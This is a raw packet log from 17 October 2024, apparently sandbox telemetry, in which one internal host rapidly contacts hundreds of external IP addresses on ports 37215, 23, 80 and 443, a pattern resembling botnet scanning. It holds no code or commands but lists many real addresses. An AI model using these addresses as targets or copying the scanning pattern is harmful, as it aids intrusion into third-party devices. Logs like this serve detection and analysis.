Oct 17, 2024 02:19:46.540684938 CEST	37215	35172	41.70.217.138	192.168.2.14
Oct 17, 2024 02:19:46.540692091 CEST	48092	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:46.540699959 CEST	48318	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:46.540699959 CEST	57072	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:46.540702105 CEST	52450	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:46.540762901 CEST	35172	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:46.540821075 CEST	55194	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:46.540865898 CEST	52450	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:46.540868998 CEST	35172	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:46.540914059 CEST	48092	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:46.540916920 CEST	48318	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:46.541002035 CEST	57072	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:46.545952082 CEST	37215	55194	156.35.219.54	192.168.2.14
Oct 17, 2024 02:19:46.546036005 CEST	55194	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:46.546164989 CEST	37215	48092	41.233.212.51	192.168.2.14
Oct 17, 2024 02:19:46.546382904 CEST	37215	52450	156.107.220.177	192.168.2.14
Oct 17, 2024 02:19:46.546523094 CEST	37215	48318	156.187.4.61	192.168.2.14
Oct 17, 2024 02:19:46.546565056 CEST	52450	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:46.546598911 CEST	48318	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:46.546606064 CEST	48092	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:46.546685934 CEST	37215	57072	41.252.236.8	192.168.2.14
Oct 17, 2024 02:19:46.546772957 CEST	37215	35172	41.70.217.138	192.168.2.14
Oct 17, 2024 02:19:46.546809912 CEST	35172	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:46.546813011 CEST	57072	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:46.558541059 CEST	23	60092	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:46.558715105 CEST	60092	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:46.559770107 CEST	60138	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:46.563538074 CEST	23	60092	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:46.563641071 CEST	51656	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:46.563647985 CEST	49454	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:46.563652039 CEST	46330	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:46.563668966 CEST	50292	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:46.563668966 CEST	57716	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:46.563676119 CEST	60162	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:46.564519882 CEST	23	60138	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:46.564568996 CEST	60138	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:46.568442106 CEST	37215	51656	41.140.60.225	192.168.2.14
Oct 17, 2024 02:19:46.568453074 CEST	80	49454	93.69.149.217	192.168.2.14
Oct 17, 2024 02:19:46.568463087 CEST	37215	46330	156.136.27.184	192.168.2.14
Oct 17, 2024 02:19:46.568485022 CEST	51656	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:46.568502903 CEST	46330	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:46.568507910 CEST	49454	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:46.568777084 CEST	51656	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:46.568779945 CEST	49454	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:46.568790913 CEST	46330	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:46.569216967 CEST	37215	50292	197.167.89.226	192.168.2.14
Oct 17, 2024 02:19:46.569261074 CEST	50292	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:46.569273949 CEST	50292	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:46.573983908 CEST	37215	51656	41.140.60.225	192.168.2.14
Oct 17, 2024 02:19:46.574033976 CEST	51656	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:46.574053049 CEST	37215	46330	156.136.27.184	192.168.2.14
Oct 17, 2024 02:19:46.574093103 CEST	46330	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:46.574335098 CEST	80	49454	93.69.149.217	192.168.2.14
Oct 17, 2024 02:19:46.574383020 CEST	49454	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:46.574450970 CEST	37215	50292	197.167.89.226	192.168.2.14
Oct 17, 2024 02:19:46.574491024 CEST	50292	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:46.595647097 CEST	60740	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:46.595647097 CEST	42224	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:46.595648050 CEST	47788	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:46.600502968 CEST	23	60740	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:46.600513935 CEST	80	47788	24.159.2.208	192.168.2.14
Oct 17, 2024 02:19:46.600523949 CEST	37215	42224	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:46.600596905 CEST	47788	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:46.600620985 CEST	60740	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:46.600634098 CEST	42224	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:46.600995064 CEST	42224	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:46.600996017 CEST	47788	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:46.605896950 CEST	37215	42224	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:46.605940104 CEST	42224	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:46.606054068 CEST	80	47788	24.159.2.208	192.168.2.14
Oct 17, 2024 02:19:46.606108904 CEST	47788	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:46.627645016 CEST	52514	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:46.627650976 CEST	47964	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:46.627650976 CEST	33692	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:46.627691984 CEST	47562	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:46.633022070 CEST	80	52514	184.113.130.61	192.168.2.14
Oct 17, 2024 02:19:46.633034945 CEST	37215	47964	156.210.142.196	192.168.2.14
Oct 17, 2024 02:19:46.633044958 CEST	80	33692	43.226.11.224	192.168.2.14
Oct 17, 2024 02:19:46.633080006 CEST	52514	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:46.633089066 CEST	33692	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:46.633125067 CEST	47964	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:46.633187056 CEST	80	47562	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:46.633204937 CEST	47964	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:46.633384943 CEST	33692	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:46.633388996 CEST	52514	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:46.633548021 CEST	47562	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:46.633548021 CEST	47562	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:46.638608932 CEST	80	52514	184.113.130.61	192.168.2.14
Oct 17, 2024 02:19:46.638659000 CEST	52514	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:46.638834000 CEST	80	33692	43.226.11.224	192.168.2.14
Oct 17, 2024 02:19:46.638879061 CEST	33692	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:46.638979912 CEST	37215	47964	156.210.142.196	192.168.2.14
Oct 17, 2024 02:19:46.639020920 CEST	47964	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:46.639096975 CEST	80	47562	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:46.639107943 CEST	80	47562	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:46.639458895 CEST	47562	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:46.691818953 CEST	48768	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:46.696923971 CEST	80	48768	189.3.53.250	192.168.2.14
Oct 17, 2024 02:19:46.696984053 CEST	48768	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:46.697175980 CEST	48768	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:46.702658892 CEST	80	48768	189.3.53.250	192.168.2.14
Oct 17, 2024 02:19:46.702712059 CEST	48768	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:46.723973989 CEST	51182	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:46.728930950 CEST	37215	51182	156.211.41.245	192.168.2.14
Oct 17, 2024 02:19:46.729058027 CEST	51182	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:46.729172945 CEST	51182	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:46.733603954 CEST	23	53900	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:46.733896017 CEST	53900	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:46.734424114 CEST	53926	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:46.734525919 CEST	37215	51182	156.211.41.245	192.168.2.14
Oct 17, 2024 02:19:46.734571934 CEST	51182	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:46.738729000 CEST	23	53900	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:46.739227057 CEST	23	53926	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:46.739346981 CEST	53926	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:46.755641937 CEST	51686	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:46.755642891 CEST	56658	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:46.760430098 CEST	37215	51686	156.91.159.119	192.168.2.14
Oct 17, 2024 02:19:46.760441065 CEST	80	56658	222.80.213.83	192.168.2.14
Oct 17, 2024 02:19:46.760485888 CEST	51686	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:46.760566950 CEST	56658	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:46.760776997 CEST	51686	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:46.760777950 CEST	56658	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:46.766118050 CEST	37215	51686	156.91.159.119	192.168.2.14
Oct 17, 2024 02:19:46.766175032 CEST	51686	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:46.766242981 CEST	80	56658	222.80.213.83	192.168.2.14
Oct 17, 2024 02:19:46.766290903 CEST	56658	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:46.883654118 CEST	46528	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:46.888452053 CEST	37215	46528	41.9.224.55	192.168.2.14
Oct 17, 2024 02:19:46.888617992 CEST	46528	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:46.888915062 CEST	46528	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:46.893857956 CEST	37215	46528	41.9.224.55	192.168.2.14
Oct 17, 2024 02:19:46.893974066 CEST	46528	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:46.915649891 CEST	49108	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:46.920624971 CEST	37215	49108	41.222.25.224	192.168.2.14
Oct 17, 2024 02:19:46.920725107 CEST	49108	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:46.920787096 CEST	49108	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:46.926045895 CEST	37215	49108	41.222.25.224	192.168.2.14
Oct 17, 2024 02:19:46.926126957 CEST	49108	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:46.968672991 CEST	23	49448	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:46.968878031 CEST	49448	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:46.970241070 CEST	49462	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:46.973706007 CEST	23	49448	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:46.975195885 CEST	23	49462	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:46.975275040 CEST	49462	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:47.011626959 CEST	35648	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:47.011689901 CEST	38482	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:47.011851072 CEST	54992	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:47.016931057 CEST	37215	35648	156.196.169.177	192.168.2.14
Oct 17, 2024 02:19:47.016942024 CEST	80	38482	183.246.247.40	192.168.2.14
Oct 17, 2024 02:19:47.016952991 CEST	80	54992	109.3.101.144	192.168.2.14
Oct 17, 2024 02:19:47.017034054 CEST	35648	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:47.017146111 CEST	35648	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:47.017147064 CEST	54992	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:47.017182112 CEST	38482	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:47.017251015 CEST	54992	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:47.017344952 CEST	38482	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:47.022373915 CEST	37215	35648	156.196.169.177	192.168.2.14
Oct 17, 2024 02:19:47.022432089 CEST	35648	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:47.022783995 CEST	80	54992	109.3.101.144	192.168.2.14
Oct 17, 2024 02:19:47.022845030 CEST	54992	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:47.022855997 CEST	80	38482	183.246.247.40	192.168.2.14
Oct 17, 2024 02:19:47.022949934 CEST	38482	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:47.043627977 CEST	54064	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:47.043683052 CEST	45030	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:47.048419952 CEST	80	54064	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:47.048491001 CEST	37215	45030	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:47.048495054 CEST	54064	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:47.048578978 CEST	54064	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:47.048785925 CEST	45030	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:47.048826933 CEST	45030	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:47.065155029 CEST	37215	45030	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:47.065170050 CEST	80	54064	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:47.074266911 CEST	80	54064	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:47.074341059 CEST	54064	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:47.074887037 CEST	37215	45030	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:47.074938059 CEST	45030	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:47.075673103 CEST	44940	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:47.083472967 CEST	37215	44940	41.29.102.230	192.168.2.14
Oct 17, 2024 02:19:47.083542109 CEST	44940	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:47.083715916 CEST	44940	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:47.088979006 CEST	37215	44940	41.29.102.230	192.168.2.14
Oct 17, 2024 02:19:47.089158058 CEST	44940	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:47.114379883 CEST	23	60740	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:47.114655972 CEST	60740	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:47.115590096 CEST	60822	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:47.119692087 CEST	23	60740	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:47.120599985 CEST	23	60822	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:47.120728970 CEST	60822	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:47.167136908 CEST	20641	443	192.168.2.14	117.155.120.7
Oct 17, 2024 02:19:47.167145967 CEST	20641	443	192.168.2.14	118.82.189.195
Oct 17, 2024 02:19:47.167148113 CEST	20641	443	192.168.2.14	123.61.59.228
Oct 17, 2024 02:19:47.167166948 CEST	443	20641	118.82.189.195	192.168.2.14
Oct 17, 2024 02:19:47.167167902 CEST	20641	443	192.168.2.14	123.194.192.45
Oct 17, 2024 02:19:47.167174101 CEST	443	20641	123.61.59.228	192.168.2.14
Oct 17, 2024 02:19:47.167176008 CEST	20641	443	192.168.2.14	178.124.19.91
Oct 17, 2024 02:19:47.167181015 CEST	20641	443	192.168.2.14	94.216.210.44
Oct 17, 2024 02:19:47.167181015 CEST	20641	443	192.168.2.14	94.93.169.26
Oct 17, 2024 02:19:47.167197943 CEST	443	20641	117.155.120.7	192.168.2.14
Oct 17, 2024 02:19:47.167207956 CEST	443	20641	178.124.19.91	192.168.2.14
Oct 17, 2024 02:19:47.167212963 CEST	20641	443	192.168.2.14	118.68.133.87
Oct 17, 2024 02:19:47.167216063 CEST	20641	443	192.168.2.14	2.231.235.102
Oct 17, 2024 02:19:47.167212963 CEST	20641	443	192.168.2.14	79.8.81.43
Oct 17, 2024 02:19:47.167216063 CEST	20641	443	192.168.2.14	5.46.240.211
Oct 17, 2024 02:19:47.167216063 CEST	20641	443	192.168.2.14	202.2.246.182
Oct 17, 2024 02:19:47.167216063 CEST	20641	443	192.168.2.14	109.230.144.173
Oct 17, 2024 02:19:47.167216063 CEST	20641	443	192.168.2.14	202.187.105.81
Oct 17, 2024 02:19:47.167221069 CEST	20641	443	192.168.2.14	210.220.221.73
Oct 17, 2024 02:19:47.167227983 CEST	443	20641	210.220.221.73	192.168.2.14
Oct 17, 2024 02:19:47.167231083 CEST	20641	443	192.168.2.14	118.220.20.218
Oct 17, 2024 02:19:47.167231083 CEST	20641	443	192.168.2.14	202.173.160.64
Oct 17, 2024 02:19:47.167236090 CEST	443	20641	123.194.192.45	192.168.2.14
Oct 17, 2024 02:19:47.167239904 CEST	20641	443	192.168.2.14	212.137.46.29
Oct 17, 2024 02:19:47.167243004 CEST	443	20641	2.231.235.102	192.168.2.14
Oct 17, 2024 02:19:47.167243004 CEST	20641	443	192.168.2.14	118.124.208.94
Oct 17, 2024 02:19:47.167243958 CEST	443	20641	118.220.20.218	192.168.2.14
Oct 17, 2024 02:19:47.167247057 CEST	443	20641	118.68.133.87	192.168.2.14
Oct 17, 2024 02:19:47.167251110 CEST	443	20641	118.124.208.94	192.168.2.14
Oct 17, 2024 02:19:47.167253017 CEST	443	20641	212.137.46.29	192.168.2.14
Oct 17, 2024 02:19:47.167253971 CEST	443	20641	94.216.210.44	192.168.2.14
Oct 17, 2024 02:19:47.167258024 CEST	443	20641	5.46.240.211	192.168.2.14
Oct 17, 2024 02:19:47.167259932 CEST	443	20641	202.173.160.64	192.168.2.14
Oct 17, 2024 02:19:47.167265892 CEST	443	20641	79.8.81.43	192.168.2.14
Oct 17, 2024 02:19:47.167268038 CEST	20641	443	192.168.2.14	79.140.225.63
Oct 17, 2024 02:19:47.167272091 CEST	443	20641	94.93.169.26	192.168.2.14
Oct 17, 2024 02:19:47.167273045 CEST	443	20641	202.2.246.182	192.168.2.14
Oct 17, 2024 02:19:47.167275906 CEST	20641	443	192.168.2.14	118.82.189.195
Oct 17, 2024 02:19:47.167275906 CEST	20641	443	192.168.2.14	117.143.180.234
Oct 17, 2024 02:19:47.167279959 CEST	443	20641	79.140.225.63	192.168.2.14
Oct 17, 2024 02:19:47.167279005 CEST	20641	443	192.168.2.14	5.186.175.87
Oct 17, 2024 02:19:47.167279959 CEST	443	20641	109.230.144.173	192.168.2.14
Oct 17, 2024 02:19:47.167279005 CEST	20641	443	192.168.2.14	123.179.152.150
Oct 17, 2024 02:19:47.167279005 CEST	20641	443	192.168.2.14	148.54.152.187
Oct 17, 2024 02:19:47.167279005 CEST	20641	443	192.168.2.14	123.194.192.45
Oct 17, 2024 02:19:47.167289019 CEST	443	20641	117.143.180.234	192.168.2.14
Oct 17, 2024 02:19:47.167294025 CEST	20641	443	192.168.2.14	123.61.59.228
Oct 17, 2024 02:19:47.167294025 CEST	443	20641	202.187.105.81	192.168.2.14
Oct 17, 2024 02:19:47.167296886 CEST	20641	443	192.168.2.14	94.216.210.44
Oct 17, 2024 02:19:47.167301893 CEST	20641	443	192.168.2.14	118.220.20.218
Oct 17, 2024 02:19:47.167308092 CEST	20641	443	192.168.2.14	79.8.81.43
Oct 17, 2024 02:19:47.167308092 CEST	20641	443	192.168.2.14	79.140.225.63
Oct 17, 2024 02:19:47.167308092 CEST	20641	443	192.168.2.14	118.68.133.87
Oct 17, 2024 02:19:47.167311907 CEST	20641	443	192.168.2.14	178.45.172.149
Oct 17, 2024 02:19:47.167311907 CEST	20641	443	192.168.2.14	148.136.118.138
Oct 17, 2024 02:19:47.167311907 CEST	20641	443	192.168.2.14	79.69.139.193
Oct 17, 2024 02:19:47.167314053 CEST	443	20641	5.186.175.87	192.168.2.14
Oct 17, 2024 02:19:47.167311907 CEST	20641	443	192.168.2.14	117.155.120.7
Oct 17, 2024 02:19:47.167311907 CEST	20641	443	192.168.2.14	5.46.240.211
Oct 17, 2024 02:19:47.167311907 CEST	20641	443	192.168.2.14	2.231.235.102
Oct 17, 2024 02:19:47.167330027 CEST	20641	443	192.168.2.14	202.173.160.64
Oct 17, 2024 02:19:47.167330980 CEST	20641	443	192.168.2.14	94.126.95.33
Oct 17, 2024 02:19:47.167330980 CEST	20641	443	192.168.2.14	118.124.208.94
Oct 17, 2024 02:19:47.167339087 CEST	443	20641	178.45.172.149	192.168.2.14
Oct 17, 2024 02:19:47.167340040 CEST	443	20641	94.126.95.33	192.168.2.14
Oct 17, 2024 02:19:47.167340040 CEST	443	20641	123.179.152.150	192.168.2.14
Oct 17, 2024 02:19:47.167345047 CEST	20641	443	192.168.2.14	109.10.192.155
Oct 17, 2024 02:19:47.167345047 CEST	20641	443	192.168.2.14	94.93.169.26
Oct 17, 2024 02:19:47.167346954 CEST	443	20641	148.136.118.138	192.168.2.14
Oct 17, 2024 02:19:47.167351007 CEST	20641	443	192.168.2.14	5.160.173.18
Oct 17, 2024 02:19:47.167351007 CEST	20641	443	192.168.2.14	210.220.221.73
Oct 17, 2024 02:19:47.167351007 CEST	20641	443	192.168.2.14	178.124.19.91
Oct 17, 2024 02:19:47.167351007 CEST	20641	443	192.168.2.14	212.137.46.29
Oct 17, 2024 02:19:47.167351007 CEST	20641	443	192.168.2.14	210.122.82.82
Oct 17, 2024 02:19:47.167354107 CEST	443	20641	79.69.139.193	192.168.2.14
Oct 17, 2024 02:19:47.167362928 CEST	443	20641	5.160.173.18	192.168.2.14
Oct 17, 2024 02:19:47.167362928 CEST	443	20641	148.54.152.187	192.168.2.14
Oct 17, 2024 02:19:47.167367935 CEST	443	20641	109.10.192.155	192.168.2.14
Oct 17, 2024 02:19:47.167371035 CEST	20641	443	192.168.2.14	202.187.105.81
Oct 17, 2024 02:19:47.167371035 CEST	20641	443	192.168.2.14	202.2.246.182
Oct 17, 2024 02:19:47.167371035 CEST	20641	443	192.168.2.14	109.230.144.173
Oct 17, 2024 02:19:47.167371035 CEST	20641	443	192.168.2.14	2.249.216.185
Oct 17, 2024 02:19:47.167371035 CEST	20641	443	192.168.2.14	5.5.4.136
Oct 17, 2024 02:19:47.167375088 CEST	20641	443	192.168.2.14	2.226.111.0
Oct 17, 2024 02:19:47.167373896 CEST	20641	443	192.168.2.14	148.105.223.203
Oct 17, 2024 02:19:47.167377949 CEST	443	20641	210.122.82.82	192.168.2.14
Oct 17, 2024 02:19:47.167375088 CEST	20641	443	192.168.2.14	212.56.245.66
Oct 17, 2024 02:19:47.167390108 CEST	443	20641	2.249.216.185	192.168.2.14
Oct 17, 2024 02:19:47.167395115 CEST	443	20641	5.5.4.136	192.168.2.14
Oct 17, 2024 02:19:47.167403936 CEST	20641	443	192.168.2.14	178.45.172.149
Oct 17, 2024 02:19:47.167403936 CEST	20641	443	192.168.2.14	148.136.118.138
Oct 17, 2024 02:19:47.167404890 CEST	20641	443	192.168.2.14	94.126.95.33
Oct 17, 2024 02:19:47.167403936 CEST	20641	443	192.168.2.14	79.69.139.193
Oct 17, 2024 02:19:47.167403936 CEST	20641	443	192.168.2.14	94.11.20.44
Oct 17, 2024 02:19:47.167407990 CEST	20641	443	192.168.2.14	109.108.251.56
Oct 17, 2024 02:19:47.167407990 CEST	443	20641	2.226.111.0	192.168.2.14
Oct 17, 2024 02:19:47.167412043 CEST	20641	443	192.168.2.14	117.143.180.234
Oct 17, 2024 02:19:47.167412996 CEST	20641	443	192.168.2.14	123.22.166.200
Oct 17, 2024 02:19:47.167412996 CEST	20641	443	192.168.2.14	123.109.6.197
Oct 17, 2024 02:19:47.167412996 CEST	20641	443	192.168.2.14	212.81.142.226
Oct 17, 2024 02:19:47.167413950 CEST	20641	443	192.168.2.14	5.160.173.18
Oct 17, 2024 02:19:47.167413950 CEST	20641	443	192.168.2.14	210.122.82.82
Oct 17, 2024 02:19:47.167413950 CEST	20641	443	192.168.2.14	178.248.168.195
Oct 17, 2024 02:19:47.167418957 CEST	443	20641	94.11.20.44	192.168.2.14
Oct 17, 2024 02:19:47.167419910 CEST	443	20641	109.108.251.56	192.168.2.14
Oct 17, 2024 02:19:47.167424917 CEST	20641	443	192.168.2.14	202.223.150.132
Oct 17, 2024 02:19:47.167427063 CEST	443	20641	123.22.166.200	192.168.2.14
Oct 17, 2024 02:19:47.167426109 CEST	20641	443	192.168.2.14	109.10.192.155
Oct 17, 2024 02:19:47.167426109 CEST	20641	443	192.168.2.14	5.7.240.125
Oct 17, 2024 02:19:47.167440891 CEST	443	20641	148.105.223.203	192.168.2.14
Oct 17, 2024 02:19:47.167447090 CEST	20641	443	192.168.2.14	5.5.4.136
Oct 17, 2024 02:19:47.167447090 CEST	20641	443	192.168.2.14	2.249.216.185
Oct 17, 2024 02:19:47.167452097 CEST	20641	443	192.168.2.14	117.250.105.149
Oct 17, 2024 02:19:47.167462111 CEST	443	20641	212.56.245.66	192.168.2.14
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	118.220.121.51
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	118.114.148.159
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	212.98.192.119
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	5.186.175.87
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	123.179.152.150
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	202.104.41.164
Oct 17, 2024 02:19:47.167473078 CEST	20641	443	192.168.2.14	109.108.251.56
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	148.54.152.187
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	123.104.52.163
Oct 17, 2024 02:19:47.167468071 CEST	20641	443	192.168.2.14	123.215.51.84
Oct 17, 2024 02:19:47.167475939 CEST	20641	443	192.168.2.14	118.23.120.57
Oct 17, 2024 02:19:47.167479038 CEST	20641	443	192.168.2.14	94.225.130.239
Oct 17, 2024 02:19:47.167479038 CEST	20641	443	192.168.2.14	210.61.39.244
Oct 17, 2024 02:19:47.167479038 CEST	20641	443	192.168.2.14	117.160.111.4
Oct 17, 2024 02:19:47.167486906 CEST	20641	443	192.168.2.14	79.211.225.224
Oct 17, 2024 02:19:47.167486906 CEST	20641	443	192.168.2.14	42.17.110.35
Oct 17, 2024 02:19:47.167486906 CEST	20641	443	192.168.2.14	118.132.31.14
Oct 17, 2024 02:19:47.167495012 CEST	20641	443	192.168.2.14	94.11.20.44
Oct 17, 2024 02:19:47.167495966 CEST	20641	443	192.168.2.14	212.128.5.174
Oct 17, 2024 02:19:47.167498112 CEST	20641	443	192.168.2.14	123.22.166.200
Oct 17, 2024 02:19:47.167500973 CEST	20641	443	192.168.2.14	212.180.142.206
Oct 17, 2024 02:19:47.167500973 CEST	20641	443	192.168.2.14	2.226.111.0
Oct 17, 2024 02:19:47.167503119 CEST	20641	443	192.168.2.14	118.146.174.62
Oct 17, 2024 02:19:47.167504072 CEST	20641	443	192.168.2.14	37.59.143.219
Oct 17, 2024 02:19:47.167504072 CEST	20641	443	192.168.2.14	109.176.28.122
Oct 17, 2024 02:19:47.167503119 CEST	20641	443	192.168.2.14	42.210.239.167
Oct 17, 2024 02:19:47.167509079 CEST	20641	443	192.168.2.14	148.105.223.203
Oct 17, 2024 02:19:47.167510033 CEST	20641	443	192.168.2.14	109.7.223.91
Oct 17, 2024 02:19:47.167526007 CEST	20641	443	192.168.2.14	178.177.200.20
